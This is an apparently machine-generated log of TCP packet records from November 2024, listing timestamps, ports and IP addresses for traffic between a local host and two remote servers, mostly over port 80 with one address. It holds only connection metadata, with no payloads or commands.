Nov 28, 2024 02:27:43.575675011 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.575696945 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.576422930 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.576473951 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.576773882 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.576870918 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.577486992 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.577636957 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.577686071 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.577686071 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.578488111 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.578538895 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.578938007 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.578979969 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.579541922 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.579554081 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.579618931 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.580519915 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.580579996 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.581432104 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.581482887 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.581548929 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.581592083 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.581674099 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.581711054 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.582607031 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.582653999 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.582777977 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.582822084 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.583621979 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.583667994 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.583774090 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.583811998 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.584654093 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.584702969 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.584744930 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.584783077 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.585695982 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.585798025 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.585839987 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.586781979 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.586797953 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.586832047 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.586854935 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.587742090 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.587783098 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.587847948 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.587913036 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.588772058 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.588815928 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.617238045 CET	443	49876	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.670795918 CET	49876	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.681583881 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.681719065 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.681742907 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.681777000 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.682245016 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.682269096 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.682312012 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.683187008 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.683193922 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.683250904 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.684196949 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.684288025 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.684330940 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.684427977 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.685256958 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.685297966 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.685559988 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.685595989 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.686301947 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.686341047 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.686428070 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.686496019 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.687455893 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.687701941 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.687828064 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.688066006 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.688740969 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.688754082 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.688779116 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.688867092 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.689481974 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.689543009 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.689943075 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.690177917 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.691183090 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.691196918 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.691215038 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.691234112 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.691946983 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.691961050 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.691982031 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.691997051 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.693319082 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.693332911 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.693355083 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.693370104 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.694216967 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.694233894 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.694288015 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.694288015 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.696052074 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.696067095 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.696088076 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.696105003 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.697412968 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.697432041 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.697470903 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.698163986 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.698179960 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.698204041 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.698230982 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.699141026 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.699160099 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.699201107 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.700640917 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.700660944 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.700690031 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.700707912 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.701601028 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.701615095 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.701653957 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.703546047 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.703558922 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.703608036 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.703639984 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.704487085 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.704498053 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.704545021 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.705481052 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.705495119 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.705543041 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.706451893 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.706463099 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.706501961 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.716506004 CET	443	49877	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.723133087 CET	443	49872	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.723206043 CET	443	49872	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.723329067 CET	49872	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.735332966 CET	49876	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.735351086 CET	443	49876	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.735929012 CET	49876	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.735935926 CET	443	49876	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.745935917 CET	49877	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.745959997 CET	443	49877	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.746491909 CET	49877	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.746496916 CET	443	49877	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.746974945 CET	49872	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.746974945 CET	49872	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.746997118 CET	443	49872	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.747008085 CET	443	49872	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.750709057 CET	49879	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.750737906 CET	443	49879	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.750794888 CET	49879	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.750945091 CET	49879	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:43.750955105 CET	443	49879	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:43.757956028 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.758016109 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.758404970 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.758424044 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.758470058 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.758550882 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.758620977 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.759440899 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.759454012 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.759484053 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.759502888 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.760430098 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.760493040 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.760742903 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.760797977 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.761265039 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.761356115 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.761833906 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.761846066 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.761938095 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.762855053 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.762929916 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.763354063 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.763410091 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.763953924 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.763967991 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.764008999 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.764025927 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.764897108 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.764966011 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.765614986 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.765672922 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.765960932 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.765975952 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.766041994 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.766041994 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.766964912 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.767011881 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.767460108 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.767508030 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.767985106 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.768050909 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.768856049 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.768899918 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.769026995 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.769069910 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.769635916 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.770100117 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.770112038 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.770160913 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.771198034 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.771209955 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.771258116 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.771290064 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.772128105 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.772176027 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.773190975 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.773211956 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.773235083 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.773263931 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.773328066 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.773376942 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.774195910 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.774525881 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.774835110 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.774874926 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.775268078 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.775281906 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.775331020 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.776298046 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.776340008 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.777309895 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.777323008 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.777365923 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.777475119 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.777580976 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.778318882 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.778469086 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.779406071 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.779419899 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.779464960 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.779536009 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.779702902 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.780436039 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.780482054 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.781451941 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.781462908 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.781527996 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.781527996 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.781599998 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.781641960 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.782463074 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.782524109 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.782557011 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.782725096 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.783474922 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.783529043 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.783849001 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.783972025 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.784531116 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.784584999 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.784616947 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.784656048 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.785550117 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.785667896 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.785873890 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.785985947 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.786586046 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.786729097 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.786753893 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.786788940 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.787606955 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.787657022 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.787837029 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.788037062 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.788707018 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.788752079 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.788973093 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.789020061 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.789684057 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.789871931 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.789920092 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.790710926 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.790769100 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.791057110 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.791100025 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.882939100 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.883002043 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.883040905 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.883074045 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.883582115 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.883595943 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.883642912 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.883668900 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.884439945 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.884533882 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.884543896 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.884586096 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.885481119 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.885519981 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.885610104 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.885838985 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.886643887 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.886693001 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.886936903 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.886990070 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.887563944 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.887645006 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.887686968 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.887728930 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.889097929 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.889110088 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.889154911 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.890131950 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.890142918 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.890178919 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.890204906 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.891194105 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.891206026 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.891275883 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.892282009 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.892340899 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.892741919 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.892805099 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.893738985 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.893755913 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.893795967 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.893817902 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.894792080 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.894805908 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.895055056 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.896147966 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.896161079 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.896204948 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.896228075 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.897211075 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.897223949 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.897253990 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.897274017 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.898488998 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.898502111 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.898545027 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.898571014 CET	49823	80	192.168.2.6	185.215.113.206
